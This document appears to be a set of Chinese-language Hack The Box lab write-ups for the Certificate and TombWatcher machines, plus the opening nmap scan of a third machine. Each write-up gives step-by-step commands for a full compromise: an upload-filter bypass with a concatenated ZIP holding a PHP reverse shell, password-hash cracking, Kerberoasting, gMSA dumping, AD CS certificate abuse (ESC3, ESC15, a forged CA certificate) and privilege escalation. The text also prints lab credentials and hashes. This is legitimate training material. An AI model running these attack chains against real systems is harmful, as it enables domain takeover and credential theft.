先把 certificate.htb 加進 /etc/hosts

Screenshot 2025-11-18 at 22.06.48

造訪 http://certificate.htb

image

有地方可以註冊,我們先註冊然後登入看看。
註冊:

image
登入:
image

登入後可以看到有許多課程可以選:

image

隨便點進去一個課程,可以看到我們可以註冊課程:

image

點擊註冊後,會出現 Course Outline ,隨便點擊一個 Quizz 右邊的 SUBMIT button ,會出現可以上傳檔案的頁面:

Screenshot 2025-11-18 at 22.20.53
Screenshot 2025-11-18 at 22.25.07

我們可以把檔案壓縮後上傳,伺服器會解壓縮後顯示在頁面上。

上傳成功後,可以查看成功上傳的檔案:

Screenshot 2025-11-18 at 22.29.20
image

但如果我們的壓縮檔裡面含 php 檔,伺服器會偵測到並擋掉:

image

3. Concatenated ZIP

我們可以試試看此攻擊手法來繞過伺服器的 malicious file 偵測,詳細可以參考以下文章:
Evasive ZIP Concatenation: Trojan Targets Windows
Users

我們依照文章的方式來生成一個包含 reverse_shell.php 的 zip 檔:

$ 7z a 1.zip test.pdf
$ 7z a 2.zip php_reverse_shell.php
$ cat 1.zip 2.zip > combined.zip

Screenshot 2025-11-19 at 20.41.57

先架好 listener :

Screenshot 2025-11-19 at 20.44.05

上傳 combined.zip 後,造訪我們上傳的 php_reverse_shell.php (例如我們的是http://certificate.htb/static/uploads/346f96e85d110b7cfb38fe3b00565313/php_reverse_shell.php)。

可以看到,我們成功拿到了 reverse shell :

Screenshot 2025-11-19 at 20.51.35

4. Sensitive Files

我們找到了一些 sensetive infomation :

  • C:\xampp\htdocs\certificate.htb\db.php
    image
    • certificate_webapp_user | cert!f!c@teDBPWD

這看起來像是一組 MySQL 的帳號密碼

5. MySQL

我們在這裏發現有 mysql.exe 執行檔:

Screenshot 2025-11-19 at 21.17.04

我們試著用那組帳密登入看看:

  • $ .\mysql.exe -u certificate_webapp_user -p'cert!f!c@teDBPWD' -e "SHOW DATABASES;"
    Screenshot 2025-11-19 at 21.22.25

登入成功,可以看到有這些 database 。

我們先來看看 DB certificate_webapp_db

  • $ .\mysql.exe -u certificate_webapp_user -p'cert!f!c@teDBPWD' -e "USE certificate_webapp_db; SHOW TABLES;"
    Screenshot 2025-11-19 at 21.29.36

我們發現了 table users ,裡面可能含有 sensetive infomation。
我們來看看此 table 的內容:

  • $ .\mysql.exe -u certificate_webapp_user -p'cert!f!c@teDBPWD' -e "USE certificate_webapp_db; SELECT * FROM users;"
    Screenshot 2025-11-19 at 21.37.41

BINGO。我們找到了許多使用者的 password hash 。

接下來,我們用 hashcat 嘗試破解:

  • $ hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
    image

我們成功破解了一組 hash : Sara.B | Blink182

用這組帳號成功登入:

  • $ evil-winrm -u Sara.B -p 'Blink182' -i 10.10.11.71
    image

6. Sensitive Files (.PCAP)

我們在 Sara.BDocuments 資料夾下發現了 pcap 檔:

Screenshot 2025-11-19 at 22.03.00

pcap 是用來 記錄網路封包原始資料的檔案格式,常由 Wiresharktcpdump 等工具產生。
它會把封包的 時間戳記、長度、協定層級(Ethernet/IP/TCP…)與原始 bytes 都保存下來,方便之後進行 封包分析、流量重建、抓密碼/Hash、惡意流量鑑識。

我們用 Wireshark 查找了封包資訊,成功找到了 Net-NTLMv2 hash :

  • packet No. 167
    image
  • packet No. 169
    image

(可參考此影片:https://www.youtube.com/watch?v=lhhlgoMjM7o)

不過我們並沒有成功破解出密碼。

另尋他路。

我們還有找到 Kerberos 的 AS-REQ 封包:

Screenshot 2025-11-24 at 20.25.12

從裡面找到了 Kerberos 5 Pre-auth hash :

Screenshot 2025-11-24 at 20.29.19

拼湊出 hashcat 的格式:
$krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0

hashcat 成功破解出密碼:

  • $ hashcat -m 19900 hash.txt /usr/share/wordlists/rockyou.txt
    Screenshot 2025-11-24 at 20.43.25

詳細的說明可參考此文章:
https://medium.com/@liram.cybersec/from-packets-to-passwords-utilizing-pcap-file-data-for-domain-access-5c206e64566b

成功以 Lion.SK 登入,並拿到 user flag :

  • $ evil-winrm -u Lion.SK -p '!QAZ2wsx' -i 10.10.11.71
    Screenshot 2025-11-24 at 20.46.31
  • User Flag
    • C:\Users\Lion.SK\Desktop\user.txt
      upload_915a270590dd7088121151074

6-2. GenericAll (此方法已被作者修掉,現在只能用上述攻擊路徑)

另外,我們用 Sara.B 登入來跑 BloodHound ,發現此攻擊路徑:

image

可以看到, Sara.B 是 group Account Operators 的一員,所以對 Ryan.KLion.SKAkeder.KH 都有 GenericAll 的權限。

我們來試著修改這三位使用者的密碼並嘗試登入,三位使用者的密碼皆修改成功:

  • Ryan.K
    • > net user Ryan.K P@ssw0rd /domain
      image
    • $ evil-winrm -u Ryan.K -p 'P@ssw0rd' -i 10.10.11.71
      image
  • Lion.SK
    • > net user Lion.SK P@ssw0rd /domain
      image
    • $ evil-winrm -u Lion.SK -p 'P@ssw0rd' -i 10.10.11.71
      image
  • Akeder.KH
    • > net user akeder.kh P@ssw0rd /domain
      image

7. ESC3 (Lion.SK -> Ryan.K)

我們利用 certipy 來找找看有沒有可以濫用的 CA 漏洞:

  • $ certipy-ad find -u lion.sk@certificate.htb -p '!QAZ2wsx' -dc-ip 10.10.11.71 -vulnerable -stdout
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 18 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'Certificate-LTD-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'Certificate-LTD-CA'
[*] Checking web enrollment for CA 'Certificate-LTD-CA' @ 'DC01.certificate.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : Certificate-LTD-CA
    DNS Name                            : DC01.certificate.htb
    Certificate Subject                 : CN=Certificate-LTD-CA, DC=certificate, DC=htb
    Certificate Serial Number           : 75B2F4BBF31F108945147B466131BDCA
    Certificate Validity Start          : 2024-11-03 22:55:09+00:00
    Certificate Validity End            : 2034-11-03 23:05:09+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : CERTIFICATE.HTB\Administrators
      Access Rights
        ManageCa                        : CERTIFICATE.HTB\Administrators
                                          CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        ManageCertificates              : CERTIFICATE.HTB\Administrators
                                          CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        Enroll                          : CERTIFICATE.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : Delegated-CRA
    Display Name                        : Delegated-CRA
    Certificate Authorities             : Certificate-LTD-CA
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : True
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectAltRequireEmail
                                          SubjectRequireEmail
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollment
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Certificate Request Agent
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-05T19:52:09+00:00
    Template Last Modified              : 2024-11-05T19:52:10+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CERTIFICATE.HTB\Domain CRA Managers
                                          CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : CERTIFICATE.HTB\Administrator
        Full Control Principals         : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        Write Owner Principals          : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        Write Dacl Principals           : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        Write Property Enroll           : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
    [+] User Enrollable Principals      : CERTIFICATE.HTB\Domain CRA Managers
    [!] Vulnerabilities
      ESC3                              : Template has Certificate Request Agent EKU set.

可以看到,我們可以利用 ESC3 漏洞做 Privilege Escalation 。
依照 Github 文件的指示步驟即可成功 Privilege Escalation 。
(https://github.com/ly4k/Certipy/wiki/06-‐-Privilege-Escalation#esc3-enrollment-agent-certificate-template)

  • $ certipy-ad req -u 'lion.sk@certificate.htb' -p '!QAZ2wsx' -dc-ip '10.10.11.71' -target 'CERTIFICATE.HTB' -ca 'Certificate-LTD-CA' -template 'Delegated-CRA'
    Screenshot 2025-11-24 at 22.06.15

如果 on behalf of Administrator ,會因為 Administrator 沒有 email 而失敗:

  • $ certipy-ad req -u 'lion.sk@certificate.htb' -p '!QAZ2wsx' -dc-ip '10.10.11.71' -target 'CERTIFICATE.HTB' -ca 'Certificate-LTD-CA' -template 'SignedUser' -pfx 'lion.sk.pfx' -on-behalf-of 'CERTIFICATE\Administrator'
    Screenshot 2025-11-24 at 22.06.54

我們登進去查看哪些使用者有 email :

  • > Get-ADUser -Filter * -Properties mail | Select-Object SamAccountName, mail
    Screenshot 2025-11-24 at 22.10.46

BloodHound 得知, Ryan.K 是 group Domain Storage Managers 的一員,可以取得磁碟相關的權限。
我們改成嘗試入侵 Ryan.K

  • $ certipy-ad req -u 'lion.sk@certificate.htb' -p '!QAZ2wsx' -dc-ip '10.10.11.71' -target 'CERTIFICATE.HTB' -ca 'Certificate-LTD-CA' -template 'SignedUser' -pfx 'lion.sk.pfx' -on-behalf-of 'CERTIFICATE\Ryan.K'
    Screenshot 2025-11-25 at 17.10.00
  • $ certipy-ad auth -pfx 'ryan.k.pfx' -dc-ip '10.10.11.71'
    Screenshot 2025-11-25 at 17.19.31

成功拿到了 NTLM hash ,且成功登入。

  • $ evil-winrm -u Ryan.K -H 'b1bc3d70e70f4f36b1509a65ae1a2ae6' -i 10.10.11.71
    Screenshot 2025-11-25 at 17.23.33

8. SeManageVolumePrivilege (Ryan.K -> Administrator)

查看 Ryan.K 的權限,我們注意到 SeManageVolumePrivilege 處於 Enabled 狀態:

  • > whoami /priv
    image

SeManageVolumePrivilege
擁有此特權的使用者雖然不是管理員,但擁有維護 Disk Volume 的權限。攻擊者可利用此權限修改系統中任何檔案(包括 C:\Windows 內的系統檔)的存取控制列表 (DACL),從而獲得完全控制權。

我們利用此漏洞,獲得對 C:\Windows\ 的完全控制權:

我們在目標主機上執行此執行檔 SeManageVolumeExploit.exe
https://github.com/CsEnox/SeManageVolumeExploit

Screenshot 2025-11-25 at 20.01.29

獲得對 C:\Windows\ 的完全控制權後,接下來我們可以想辦法拿到 Administrator 的 NTLM hash 或是密碼。

9. Golden Certificate Attack (Ryan.K -> Administrator)

我們發現 CertSvc 正在運行,確認此主機已部署 ADCS 憑證服務,並作為網域內的 CA 使用。

  • > Get-Service CertSvc
    Screenshot 2025-11-25 at 19.50.27

我們先確認 CA 的名稱:

  • > certutil -dump
    image

匯出 CA 的憑證+私鑰:

  • > certutil -exportPFX "Certificate-LTD-CA" .\ca.pfx
    image

用 CA 的私鑰偽造 Administrator 憑證:

  • $ certipy forge -ca-pfx ca.pfx -subject "CN=Administrator,CN=Users,DC=certificate,DC=htb" -upn "administrator@certificate.htb" -out administrator.pfx
    image

這段指令會做的事情:
利用偽造的 Administrator 憑證透過 PKINIT 向 KDC 發送 AS-REQ 並接收 AS-REP ,取得屬於 Administrator 的 TGT 。之後再發送 U2U TGS-REQ 並取得對應的 TGS-REP ,從回應票據中的 PAC 解析出 PAC_CREDENTIAL_INFO ,最終取得 Administrator 的 NTLM hash :

  • $ certipy auth -pfx administrator.pfx -username administrator -domain certificate.htb -dc-ip 10.10.11.71
    image

Administrator 的 NTLM hash 成功登入,並拿到 root flag :

  • $ evil-winrm -u administrator -H 'd804304519bf0143c14cbf1c024408c6' -i 10.10.11.71
    image
  • Root Flag
    • C:\Users\Administrator\Desktop\root.txt
      upload_820ca248acd16fabea2da31ec

Week 4 - TombWatcher

🕒 2025/06/08

TombWatcher

  • IP: 10.10.11.72
  • OS: Windows
  • Difficulty: Medium
  • Credentials: henry | H3nry_987TGV!

1. Enumeration

首先,我們來用 nmap 掃這台機器的所有 ports 。

  • $ sudo nmap -sS -sV -sC -v -T4 -p 1-65535 -oN nmap.txt 10.10.11.72
# Nmap 7.95 scan initiated Sun Jun  8 04:08:08 2025 as: /usr/lib/nmap/nmap -sS -sV -sC -v -T4 -p 1-65535 -oN nmap.txt 10.10.11.72
Nmap scan report for 10.10.11.72
Host is up (0.20s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-08 00:10:48Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-08T00:12:20+00:00; +3h59m55s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-11-16T00:47:59
| Not valid after:  2025-11-16T00:47:59
| MD5:   a396:4dc0:104d:3c58:54e0:19e3:c2ae:0666
|_SHA-1: fe5e:76e2:d528:4a33:8adf:c84e:92e3:900e:4234:ef9c
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-08T00:12:21+00:00; +3h59m55s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-11-16T00:47:59
| Not valid after:  2025-11-16T00:47:59
| MD5:   a396:4dc0:104d:3c58:54e0:19e3:c2ae:0666
|_SHA-1: fe5e:76e2:d528:4a33:8adf:c84e:92e3:900e:4234:ef9c
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-08T00:12:20+00:00; +3h59m55s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-11-16T00:47:59
| Not valid after:  2025-11-16T00:47:59
| MD5:   a396:4dc0:104d:3c58:54e0:19e3:c2ae:0666
|_SHA-1: fe5e:76e2:d528:4a33:8adf:c84e:92e3:900e:4234:ef9c
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-11-16T00:47:59
| Not valid after:  2025-11-16T00:47:59
| MD5:   a396:4dc0:104d:3c58:54e0:19e3:c2ae:0666
|_SHA-1: fe5e:76e2:d528:4a33:8adf:c84e:92e3:900e:4234:ef9c
|_ssl-date: 2025-06-08T00:12:21+00:00; +3h59m55s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49683/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49684/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  msrpc         Microsoft Windows RPC
49704/tcp open  msrpc         Microsoft Windows RPC
49710/tcp open  msrpc         Microsoft Windows RPC
49729/tcp open  msrpc         Microsoft Windows RPC
59189/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 3h59m54s, deviation: 0s, median: 3h59m54s
| smb2-time: 
|   date: 2025-06-08T00:11:42
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun  8 04:12:28 2025 -- 1 IP address (1 host up) scanned in 259.98 seconds

我們用提供的這組帳號來跑 BloodHound

  • $ bloodhound-python -u henry -p 'H3nry_987TGV!' -d tombwatcher.htb -ns 10.10.11.72 -c All --zip
    image

image

我們發現了這條攻擊鏈。我們來嘗試利用這條攻擊鏈取得 ADCS 的權限。

2. Henry -> Alfred (Targeted Kerberoasting)

漏洞原理:
BloodHound 顯示 HenryAlfred 擁有 WriteSPN 的權限。這意味著我們可以強制賦予 Alfred 一個服務主體名稱 (SPN)。一旦使用者擁有 SPN,我們就可以對其發動 Kerberoasting 攻擊,請求其服務票據 (TGS) 並嘗試離線破解。

  1. 使用 ldapmodify 修改 Alfred 的屬性,寫入隨便一個的 SPN :
  • $ ldapmodify -H ldap://10.10.11.72 -D 'tombwatcher\henry' -w 'H3nry_987TGV!' -f write-spn.ldif
    image

    image
  1. 確認 SPN 有寫入成功:
  • $ ldapsearch -H ldap://10.10.11.72 -D 'tombwatcher\henry' -w 'H3nry_987TGV!' -b 'CN=Alfred,CN=Users,DC=tombwatcher,DC=htb' servicePrincipalName
    image
  1. 請求 Alfred 的 TGS 票據 (Targeted Kerberoasting):
  • $ impacket-GetUserSPNs -request -dc-ip 10.10.11.72 -outputfile hashes_kerberoast.txt tombwatcher.htb/henry
    image

使用 hashcat 進行暴力破解:

  • $ hashcat -m 13100 hashes_kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
    image

破解成功。取得 Alfred 的密碼為 basketball

3. Alfred -> Ansible_dev (AddSelf+ReadGMSAPassword)

漏洞原理:
BloodHound 分析顯示 Alfred 擁有 AddSelf 權限,可以將自己加入特定群組(此處為 group Infrastructure)。而該群組擁有讀取 gMSA (Group Managed Service Account) 密碼的權限。在這個環境中,目標 gMSA 帳號是 ansible_dev$

  1. 利用 ldapmodifyAlfred 加入至 group Infrastructure
  • $ ldapmodify -H ldap://10.10.11.72 -D 'tombwatcher\alfred' -w 'basketball' -f add-self.ldif
    image

    image
  1. 確認有加入成功:
  • $ ldapsearch -H ldap://10.10.11.72 -D 'tombwatcher\alfred' -w 'basketball' -b 'CN=Infrastructure,CN=Users,DC=tombwatcher,DC=htb' -s base member
    image
  1. 我們利用此工具(https://github.com/micahvandeusen/gMSADumper) 讀取 ansible_dev$ 的帳戶資訊,成功得到其 NTLM hash :
  • $ python3 gMSADumper.py -u alfred -p 'basketball' -d tombwatcher.htb
    image

4. Ansible_dev -> Sam (ForceChangePassword)

漏洞原理:
ansible_dev$Sam 擁有 ForceChangePassword 的權限。這允許我們在不知道 Sam 舊密碼的情況下,直接設定新的密碼。

利用 ansible_dev$ 的 hash 驗證身分,將 Sam 的密碼重設為 P@ssw0rd

  • $ impacket-changepasswd tombwatcher/sam@10.10.11.72 -newpass 'P@ssw0rd' -altuser 'tombwatcher/ansible_dev$' -althash 1c37d00093dc2a5f25176bf2d474afdc -reset
    image

5. Sam -> John (WriteOwner)

漏洞原理:
使用者 Sam 對使用者 John 的 AD 物件擁有 WriteOwner 權限。這是極高風險的權限配置。

  1. 先將 John 物件的擁有者(Owner)改成 Sam
  • $ impacket-owneredit -action write -new-owner sam -target-dn 'CN=John,CN=Users,DC=tombwatcher,DC=htb' tombwatcher/sam:'P@ssw0rd' -dc-ip 10.10.11.72
    image
  1. 既然 Sam 是擁有者,他就有權修改該物件的 ACL。我們修改 ACL 賦予 SamJohn 的 FullControl :
  • $ impacket-dacledit -action 'write' -rights 'FullControl' -principal sam -target-dn 'CN=John,CN=Users,DC=tombwatcher,DC=htb' tombwatcher/sam:'P@ssw0rd' -dc-ip 10.10.11.72
    image
  1. 擁有 FullControl 後,即可強制重設 John 的密碼:
  • $ impacket-changepasswd tombwatcher/john@10.10.11.72 -newpass 'P@ssw0rd' -altuser tombwatcher/sam -altpass 'P@ssw0rd' -reset
    image

John 的新密碼登入看看:

  • $ evil-winrm -u tombwatcher.htb\\john -p 'P@ssw0rd' -i 10.10.11.72
    image

登入成功,拿到 user flag :

  • C:\Users\john\Desktop\user.txt
    upload_4468dfd7f4be013e94c09621f

6. Recover Deleted User (cert_admin)

在前面的 BloodHound 分析中,我們注意到存在 ADCS 服務,但奇怪的是,沒有相關的特權群組或管理員。這讓我們產生了一個推測:關鍵的管理員帳號可能被刪除了。
在 Active Directory 中,當物件被刪除時,並不會立即消失,而是進入 tombstone 狀態(類似資源回收桶),保留一段時間(預設 180 天)。如果有適當的權限,我們可以將其還原。

我們嘗試搜尋已刪除的物件:

  • $ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
    image

指令成功列出了 Deleted Objects 容器的內容,並在其中發現了這位使用者:

  • DisplayName: cert_admin
  • ObjectGUID: 938182c3-bf0b-410a-9aaa-45c8e1a02ebf

這證實了某管理員帳號確實存在於資源回收桶中。確認目標後,我們執行還原使用者操作:

  • $ Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
    image

可以看到, cert_admin 被成功還原了。

7. John -> cert_admin (GenericAll)

我們重新跑 BloodHound ,發現 John 對這個剛復活的 cert_admin 擁有 GenericAll 權限。

image

我們可以以 John 登入,強制修改 cert_admin 的密碼:

  • $ net user cert_admin 'P@ssw0rd' /domain
    image

8. ESC15 (cert_admin -> Administrator)

我們使用 certipy 進行弱點掃描:

  • $ certipy find -u cert_admin@tombwatcher.htb -p 'P@ssw0rd' -dc-ip 10.10.11.72 -vulnerable -stdout
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'tombwatcher-CA-1' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'tombwatcher-CA-1'
[*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : tombwatcher-CA-1
    DNS Name                            : DC01.tombwatcher.htb
    Certificate Subject                 : CN=tombwatcher-CA-1, DC=tombwatcher, DC=htb
    Certificate Serial Number           : 3428A7FC52C310B2460F8440AA8327AC
    Certificate Validity Start          : 2024-11-16 00:47:48+00:00
    Certificate Validity End            : 2123-11-16 00:57:48+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : TOMBWATCHER.HTB\Administrators
      Access Rights
        ManageCa                        : TOMBWATCHER.HTB\Administrators
                                          TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        ManageCertificates              : TOMBWATCHER.HTB\Administrators
                                          TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Enroll                          : TOMBWATCHER.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : WebServer
    Display Name                        : Web Server
    Certificate Authorities             : tombwatcher-CA-1
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-16T00:57:49+00:00
    Template Last Modified              : 2024-11-16T17:07:26+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          TOMBWATCHER.HTB\cert_admin
      Object Control Permissions
        Owner                           : TOMBWATCHER.HTB\Enterprise Admins
        Full Control Principals         : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Owner Principals          : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Dacl Principals           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Property Enroll           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          TOMBWATCHER.HTB\cert_admin
    [+] User Enrollable Principals      : TOMBWATCHER.HTB\cert_admin
    [!] Vulnerabilities
      ESC15                             : Enrollee supplies subject and schema version is 1.
    [*] Remarks
      ESC15                             : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.

可以看到,我們發現了 ESC15 漏洞。
依照 Github 文件的指示步驟即可成功 Privilege Escaltion 得到 root 。
(https://github.com/ly4k/Certipy/wiki/06-‐-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu)

  1. 我們利用 cert_admin 的身分,申請一張 WebServer 憑證。但在申請時,我們注入了 Certificate Request Agent 的 OID :
  • $ certipy req -u cert_admin@tombwatcher.htb -p 'P@ssw0rd' -dc-ip 10.10.11.72 -target-ip 10.10.11.72 -ca 'tombwatcher-CA-1' -template 'WebServer' -application-policies 'Certificate Request Agent'
    image
  1. 現在我們手上的 cert_admin.pfx 就像是一張萬能通行證,允許我們代表任何人申請憑證。我們利用它來幫 Administrator 申請一張 User Template 的憑證:
  • $ certipy req -u cert_admin@tombwatcher.htb -p 'P@ssw0rd' -dc-ip 10.10.11.72 -target-ip 10.10.11.72 -ca 'tombwatcher-CA-1' -template 'User' -pfx 'cert_admin.pfx' -on-behalf-of 'tombwatcher\Administrator'
    image
  1. 最後,我們使用這張 Administrator 憑證向 DC 進行身分驗證,換取 NTLM hash :
  • $ certipy auth -pfx 'administrator.pfx' -dc-ip 10.10.11.72
    image

拿到 Administrator 的 NTLM hash 後,我們可以嘗試以 Administrator 登入:

  • $ evil-winrm -u administrator -H 'f61db423bebe3328d33af26741afe5fc' -i 10.10.11.72
    image

成功登入,拿到 root flag :

  • C:\Users\Administrator\Desktop\root.txt
    upload_0621bc6f252036f0c831bb5ec

Week 5 - Sorcery (unsolved)

[UNSOLVED]

Sorcery

  • IP: 10.10.11.73
  • OS: Linux
  • Difficulty: Insane

Week 6 - Artificial

🕒 2025/06/22

Artificial

  • IP: 10.10.11.74
  • OS: Linux
  • Difficulty: Easy

1. Nmap

首先,我們來用 nmap 掃這台機器的所有 ports 。

  • $ sudo nmap -sS -A -v -T4 -p- -oN nmap.txt 10.10.11.74
# Nmap 7.95 scan initiated Sun Jun 22 05:21:33 2025 as: /usr/lib/nmap/nmap -sS -A -v -T4 -p- -oN nmap.txt 10.10.11.74
Nmap scan report for 10.10.11.74
Host is up (0.21s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods: 
